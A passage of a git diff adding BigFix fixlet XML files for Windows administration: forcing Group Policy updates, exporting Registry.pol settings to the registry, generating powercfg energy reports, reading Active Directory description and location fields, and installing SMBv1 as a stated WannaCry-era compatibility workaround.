+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-31T09:50:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Force GP Update for Computer and Reboot</Title>
+    <Description>Run a GPUpdate and rebot target computer</Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Category>Common Tasks</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-31</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 31 Oct 2012 14:50:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden cmd.exe /C gpupdate /force /boot /target:computer</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1 (22387).bes b/Sites/Windows Management/Fixlets/Fixlets/Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1 (22387).bes
new file mode 100644
index 000000000..c5a0bed43
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1 (22387).bes	
@@ -0,0 +1,166 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1
+  ID       : 22387
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2016-10-25T07:22:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Generate Local Group Policy Registry.pol info to Registry (Policy) 1.1</Title>
+    <Description><![CDATA[<P>This Task will export Local Group Policy Registry.pol files into a defined set of Registry keys.&nbsp; </P>
+<P>The purpose is to provide a means of inspecting the Local Group Policy configuration in other Fixlets/Tasks.&nbsp; Originally we had a large number of Fixlets reading values from Registry.pol files directly; but the Relevance for doing so was complex, resource-intensive, and prone to causing issues due to file locking of the Registry.pol files.</P>
+<P>This Task will search for both Computer, User, and MLGPO instances of Registry.pol, export them to text files via Microsoft's "LGPO.exe" utility, and import the results into the Registry under a number of keys.&nbsp; Currently these are exported to HKLM\Software\BES_LGPO with subkeys for "Machine", "User", and (potentially) for each MLGPO-defined policy.</P>
+<P>MLGPO reference: <A href="https://technet.microsoft.com/en-us/library/cc766291%28v=ws.10%29.aspx?f=255&amp;MSPPError=-2147217396">https://technet.microsoft.com/en-us/library/cc766291%28v=ws.10%29.aspx?f=255&amp;MSPPError=-2147217396</A></P>
+<P>This Fixlet adds data at HKLM\Software\BES_LGPO subkeys:</P>
+<UL>
+<LI>Machine
+<LI>User
+<LI>S-&lt;whatever SIDS defined for MLGPO settings&gt;</LI></UL>
+<P>&nbsp;Beneath each of these Keys are a number of Values.&nbsp; The Value Name corresponds to the registy key &amp; value that the LGPO configures; and the Value Data corresponds to the Data Type and Value that the LGPO applies.&nbsp; Example</P>
+<P>[HKEY_LOCAL_MACHINE\SOFTWARE\BES_LGPO\User]</P>
+<P>Software\Policies\Microsoft\Windows\Control Panel\Desktop\ScreenSaveActive</P>
+<P>REG_SZ:"SZ:1"</P>
+<P>&nbsp;</P>
+<P>This Task should be run as a repeating Policy to ensure the registry values are updated periodically.&nbsp; The registry values output will be used by a number of Security Policy fixlets.&nbsp; This should also be added as a task in any Baseline that changes Local Group Policy settings, to ensure the new values are captured after the settings are applied.</P>
+<P>&nbsp;v1.1: Updated to handle XP/2003 using ImportRegPol.exe rather than LGPO.exe</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Category>Data Collection</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-07-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Aug 2016 21:16:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[begin prefetch block
+ if {version of operating system >= version "6"}
+	add prefetch item name=LGPO.exe sha1=f5a4a8e27b428c2d9a1c1ba7d72ba08b77406a9c size=380208 url=http://MANUAL_BES_CACHING_REQUIRED/LGPO.exe sha256=a8e0b52dea3836071f3f46235c126cb7fe986abdcc3d1b819d7c2cd101999cb3
+  else
+	add prefetch item name=ImportRegPol.exe sha1=69d4881eb10a8f8c121e9ea63323ba6bfc028f31 size=181248 url=http://MANUAL_BES_CACHING_REQUIRED/ImportRegPol.exe
+ endif
+ collect prefetch items
+end prefetch block
+
+
+action uses wow64 redirection false
+if {version of operating system >= version "6"}
+	parameter "LGPO"="{pathname of download file "LGPO.EXE"}"
+	utility __Download\LGPO.exe
+	else
+	parameter "LGPO"="{pathname of download file "ImportRegPol.EXE"}"
+	utility __Download\ImportRegPol.exe
+endif
+
+// Path of each registry.pol file to parse, and the context (Computer|User) for the settings
+// Split via ";", ", /u" refers to User and ", /m" refers to Machine
+// Check Machine\Registry.pol, User\Registry.pol, and each potential MLGPO folder at System32\GroupPolicyUsers
+parameter "Registry.pol"="{pathname of system folder}\GroupPolicy\Machine\Registry.pol, /m;{pathname of system folder}\GroupPolicy\User\Registry.pol, /u{(if it !="" then ";" & it else "") of concatenation ";" of (it & ", /u") of pathnames of files "Registry.pol" of folders of folders "GroupPolicyUsers" of native system folder}"
+
+// Registry key into which we are going to write the output settings -
+parameter "RootKey"="HKEY_LOCAL_MACHINE\Software\BES_LGPO"
+
+// Locate Registry.pol and export it to LGPO Text file
+delete __appendfile
+// This creates a .inf file corresponding to each Registry.pol file found
+// Output .INF files are saved in the __Download folder (taking advantage of the BES Client behavior of keeping the download folder clean)
+// Files are named for the parent folder of Registry.pol - should be "Machine", "User", or the SID for an MLGPO user object
+// Output is generated by LGPO.exe or ImportRegPol.exe depending on OS
+// IF EXIST "PATH\Registry.pol" "PATH\LGPO.EXE" /parse /m "PATH\registry.pol" > __Download\parentdir.inf 2>>__Download\Export_Registry_Pol.err || EXIT /B 1
+if {version of operating system >= version "6"}
+	appendfile {concatenation "%0d%0a" of ("IF EXIST %22" & tuple string item 0 of it & "%22 %22" & parameter "LGPO" & "%22 /parse " & tuple string item 1 of it & " %22" & tuple string item 0 of it & "%22 > __Download\"  & (following text of last "\" of preceding text of last "\" of tuple string item 0 of it) & ".inf 2>>__Download\Export_Registry_Pol.err || EXIT /B 1" ) of substrings separated by ";" of parameter "Registry.pol"}
+else
+	appendfile {concatenation "%0d%0a" of ("IF EXIST %22" & tuple string item 0 of it & "%22 %22" & parameter "LGPO" & "%22 " & tuple string item 1 of it  & "  %22" & tuple string item 0 of it & "%22 /parseOnly /log __Download\"  & (following text of last "\" of preceding text of last "\" of tuple string item 0 of it) & ".inf /error __Download\Export_Registry_Pol.err || EXIT /B 1" ) of substrings separated by ";" of parameter "Registry.pol"}
+endif
+
+delete ExportRegistryPol.cmd
+move __appendfile ExportRegistryPol.cmd
+
+waithidden cmd /c ExportRegistryPol.cmd
+// Check for ExportRegistryPol.cmd error output
+continue if {not exists lines whose (it contains "Error") of files "Export_Registry_Pol.err" of download folder }
+
+// If we failed to export any of the registry.pol files to INF, stop here, leaving the prior Registry entries intact
+continue if {exit code of action = 0}
+
+// All targeted Registry.pol files have been exported.
+// Delete the output Registry key,
+//  insert a new CaptureTime, and import all of the outputted Registry.inf files
+delete __appendfile
+appendfile reg.exe delete "{parameter "RootKey"}" /F
+appendfile reg.exe add "{parameter "RootKey"}" /v __CaptureTime /t REG_SZ /d "{now}" /F
+
+appendfile SET RETCODE=0
+// Include handling for special cases:
+//  if "value name" is empty substitute "(default)"
+//  escape any embedded quotes with backslash (%22 ==> \%22 )
+//  Double-up on any embedded percent signs (  %25 ==> %25%25 )
+//
+
+appendfile {concatenation "%0d%0a" of ("reg.exe add %22HKLM\Software\BES_LGPO\" & preceding text of last ".inf" of name of item 3 of it /* Removed: naming the key for "computer" or "user", that's evident already :: & "\" & item 0 of it */ & "%22 /v %22" & item 1 of it & "%22 /t REG_SZ /d %22" & item 2 of it & "%22 /F || SET RETCODE += 1") of ((item 0 of it, next line of item 0 of it & "\" & (if it as trimmed string = "" then "(default)" else it) of next line of next line of item 0 of it, concatenation "\%22" of substrings separated by "%22" of concatenation "%25%25" of substrings separated by "%25" of  next line of next line of next line of item 0 of it, item 1 of it)) of (lines whose (previous line of it = "" and it as trimmed string as lowercase = "computer" or it as trimmed string as lowercase = "user") of it, it) of files whose (name of it as lowercase ends with ".inf") of download folder}
+appendfile exit /B %RETCODE%
+
+delete regadd.cmd
+move __appendfile regadd.cmd
+waithidden cmd /c regadd.cmd
+
+// If any of the REG ADD commands failed, the batch will return a non-zero code which we should flag here
+continue if {exit code of action = 0}
+
+// Even if we try to force a GPUpdate, the Policies registry key may not update until reboot
+runhidden gpupdate.exe /target:computer /wait:0
+
+
+// ---- Only comments beyond this line ------
+
+// Example .inf file format
+//; ----------------------------------------------------------
+//; PARSING COMPUTER POLICY
+//; Source file:  Registry.pol
+
+//Computer
+//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
+//NoInternetOpenWith
+//DWORD:1
+//
+//Computer
+//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
+//NoOnlinePrintsWizard
+//DWORD:1
+//
+//Computer
+//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
+//PreXPSP2ShellProtocolBehavior
+//DWORD:0
+//
+//Computer
+//Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
+//DisableLocalMachineRunOnce
+//DWORD:1
+//
+// Parsing logic:
+//  * Grab a list of .inf files, and preserve their names (filename is used in naming the output registry key)
+//  * Find a line that is only "Computer" or "User", preceded by an empty line
+//  * Grab that line (Computer|User), and the three lines after it, as items
+//  * The first line (Computer|User) is ignored.  Line 2 and 3 are concatenated to make a registry value name (like Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisableLocalMachineRunOnce).  If line 3 is empty replace it with (default)
+//  * The fourth line is used as the value data (DWORD:1).
+// Include handling for special cases:
+//  if "value name" is empty substitute "(default)"
+//  escape any embedded quotes with backslash (%22 ==> \%22 )
+//  Double-up on any embedded percent signs (  %25 ==> %25%25 )
+
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Generate PowerCFG Energy Report - Windows (6040).bes b/Sites/Windows Management/Fixlets/Fixlets/Generate PowerCFG Energy Report - Windows (6040).bes
new file mode 100644
index 000000000..8a49683d8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Generate PowerCFG Energy Report - Windows (6040).bes	
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Generate PowerCFG Energy Report - Windows
+  ID       : 6040
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T11:58:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Generate PowerCFG Energy Report - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[/* Only run if not done in past 30 days */ not exists file "__BESData\__Global\Logs\energy-report.xml" whose(30*day > (now - modification time of it)) of parent folder of client]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-03-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 11 Apr 2014 18:39:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// http://www.hanselman.com/blog/PowerCfgTheHiddenEnergyAndBatteryToolForWindowsYoureNotUsing.aspx
+
+// Delete previous log, if it exists
+delete "{pathname of parent folder of client}\__BESData\__Global\Logs\energy-report_PowerCFG_CMD.log"
+
+// Disable WoW64 redirection
+action uses wow64 redirection false
+
+
+// File output default location:
+//  C:\Windows\System32\energy-report.html
+//  C:\Windows\System32\energy-report.xml
+
+// Command Format:
+//  POWERCFG /ENERGY [/OUTPUT <FILENAME>] [/XML] [/DURATION <SECONDS>]
+//  POWERCFG /ENERGY /TRACE [/D <FILEPATH>] [/XML] [/DURATION <SECONDS>]
+
+// Parameter List:
+//  /OUTPUT <FILENAME>     Specify the path and filename to store the energy report HTML or XML file.
+//  /XML                   Format the report file as XML.
+//  /DURATION <SECONDS>    Specify the number of seconds to observe system behavior. Default is 60 seconds.
+//  /TRACE                 Record system behavior and do not perform analysis. Trace files will be generated in the current path unless the /D parameter is specified.
+//  /D <FILEPATH>          Specify the directory to store trace data. May only be used with the /TRACE parameter.
+
+// Examples:
+//  POWERCFG /ENERGY
+//  POWERCFG /ENERGY /OUTPUT "longtrace.html" /DURATION 120
+
+waithidden {system folder}\powercfg.exe /energy /xml /DURATION 15 /output "{pathname of parent folder of client}\__BESData\__Global\Logs\energy-report.xml" >> "{pathname of parent folder of client}\__BESData\__Global\Logs\energy-report_PowerCFG_CMD.log"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Get AD Description (3755).bes b/Sites/Windows Management/Fixlets/Fixlets/Get AD Description (3755).bes
new file mode 100644
index 000000000..c3ecff075
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Get AD Description (3755).bes	
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Get AD Description
+  ID       : 3755
+  Author   : menglish
+  Domain   : BESC
+  Imported : 2014-04-05T06:18:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Get AD Description</Title>
+    <Description><![CDATA[This task will query Active Directory for the 'Location' field and populate a text file called '<FONT color=#008080 size=2><FONT color=#008080 size=2>ADLocation.txt</FONT></FONT>' located in the client root directory ]]></Description>
+    <Relevance>(not exist file &quot;ADDescription.txt&quot; of parent folder of client) OR (exists file &quot;ADDescription.txt&quot; whose (not exist line 1 of it) of parent folder of client)</Relevance>
+    <Source>IBM (mike.english@us.ibm.com)</Source>
+    <SourceReleaseDate>2013-06-05</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 05 Jun 2013 21:52:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Create VB Script
+delete GetADLocation.vbs
+delete __appendfile
+// Begin VBScript Code
+appendfile Dim objFileSystem, objOutputFile
+appendfile Dim strOutputFile
+appendfile Dim oShell, oAdSysInfo,o
+appendfile Dim sDN, sDescription
+appendfile Set oShell = CreateObject("WScript.Shell")
+appendfile Set oAdSysInfo = CreateObject("ADSystemInfo")
+appendfile sDN = oAdSysInfo.ComputerName
+appendfile Set o = GetObject("LDAP://" & sDN)
+appendfile strComputer = "."
+appendfile
+// generate a filename
+appendfile strOutputFile = "{pathname of parent folder of client as string & "\" & "ADDescription.txt"}"
+appendfile
+appendfile Set objFileSystem = CreateObject("Scripting.fileSystemObject")
+appendfile Set objOutputFile = objFileSystem.CreateTextFile(strOutputFile, TRUE)
+appendfile
+appendfile sDescription = o.Description
+appendfile If sDescription <> "" Then
+appendfile 'wscript.echo sDescription
+appendfile objOutputFile.WriteLine(sDescription)
+appendfile objOutputFile.Close
+appendfile
+appendfile Else
+appendfile sDescription = "AD Description could not be obtained"
+appendfile 'wscript.echo sDescription
+appendfile objOutputFile.WriteLine(sDescription)
+appendfile objOutputFile.Close
+appendfile
+appendfile End If
+appendfile
+appendfile Set objFileSystem = Nothing
+appendfile Set oShell = Nothing
+appendfile Set oAdSysInfo = Nothing
+appendfile Set o = Nothing
+appendfile
+appendfile WScript.Quit(0)
+
+move __appendfile GetADDescription.vbs
+
+// Execute the VBScript silently using cscript.exe
+waithidden cscript.exe GetADDescription.vbs
+
+// Delete the VBScript we just created.
+delete GetADDescription.vbs]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Get AD Location (3756).bes b/Sites/Windows Management/Fixlets/Fixlets/Get AD Location (3756).bes
new file mode 100644
index 000000000..edc027a2f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Get AD Location (3756).bes	
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Get AD Location
+  ID       : 3756
+  Author   : menglish
+  Domain   : BESC
+  Imported : 2014-04-05T06:20:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Get AD Location</Title>
+    <Description><![CDATA[This task will query Active Directory for the 'Location' field and populate a text file called '<FONT color=#008080 size=2><FONT color=#008080 size=2>ADLocation.txt</FONT></FONT>' located in the client root directory ]]></Description>
+    <Relevance>(not exist file &quot;ADLocation.txt&quot; of parent folder of client) OR (exists file &quot;ADLocation.txt&quot; whose (not exist line 1 of it) of parent folder of client)</Relevance>
+    <Source>IBM (mike.english@us.ibm.com)</Source>
+    <SourceReleaseDate>2013-06-05</SourceReleaseDate>
+    <SourceSeverity>N/A</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 05 Jun 2013 17:01:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Create VB Script
+delete GetADLocation.vbs
+delete __appendfile
+// Begin VBScript Code
+appendfile Dim objFileSystem, objOutputFile
+appendfile Dim strOutputFile
+appendfile Dim oShell, oAdSysInfo,o
+appendfile Dim sDN, sLocation
+appendfile Set oShell = CreateObject("WScript.Shell")
+appendfile Set oAdSysInfo = CreateObject("ADSystemInfo")
+appendfile sDN = oAdSysInfo.ComputerName
+appendfile Set o = GetObject("LDAP://" & sDN)
+appendfile strComputer = "."
+appendfile
+// generate a filename
+appendfile strOutputFile = "{pathname of parent folder of client as string & "\" & "ADLocation.txt"}"
+appendfile
+appendfile Set objFileSystem = CreateObject("Scripting.fileSystemObject")
+appendfile Set objOutputFile = objFileSystem.CreateTextFile(strOutputFile, TRUE)
+appendfile
+appendfile sLocation = o.Location
+appendfile If sLocation <> "" Then
+appendfile 'wscript.echo sLocation
+appendfile objOutputFile.WriteLine(sLocation)
+appendfile objOutputFile.Close
+appendfile
+appendfile Else
+appendfile sLocation = "AD Location could not be obtained"
+appendfile 'wscript.echo sLocation
+appendfile objOutputFile.WriteLine(sLocation)
+appendfile objOutputFile.Close
+appendfile
+appendfile End If
+appendfile
+appendfile Set objFileSystem = Nothing
+appendfile Set oShell = Nothing
+appendfile Set oAdSysInfo = Nothing
+appendfile Set o = Nothing
+appendfile
+appendfile WScript.Quit(0)
+
+move __appendfile GetADLocation.vbs
+
+// Execute the VBScript silently using cscript.exe
+waithidden cscript.exe GetADLocation.vbs
+
+// Delete the VBScript we just created.
+delete GetADLocation.vbs]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24321).bes b/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24321).bes
new file mode 100644
index 000000000..67bdec317
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24321).bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
+  ID       : 24321
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T14:20:03
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Gracefully install SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10&quot; of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 21:03:43 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Install-WindowsFeature -Name FS-SMB1
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24323).bes b/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24323).bes
new file mode 100644
index 000000000..083b6dab5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24323).bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
+  ID       : 24323
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T18:22:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Gracefully install SMB v1 Client - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8.1&quot; or name of it = &quot;Win2016&quot; or name of it = &quot;Win10&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ServerManager\ServicingStorage\ServerComponentCache\FS-SMB1&quot; whose (value &quot;InstallState&quot; of it = 1) of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 23:08:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24320).bes b/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24320).bes
new file mode 100644
index 000000000..75582f9e0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016 (24320).bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Gracefully remove SMB v1 - Windows 8.1, Windows 10, Windows 2012 R2, and Windows Server 2016
+  ID       : 24320
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T14:20:00
+  Source   : bigfixm1_main @ BES-Root
+-->
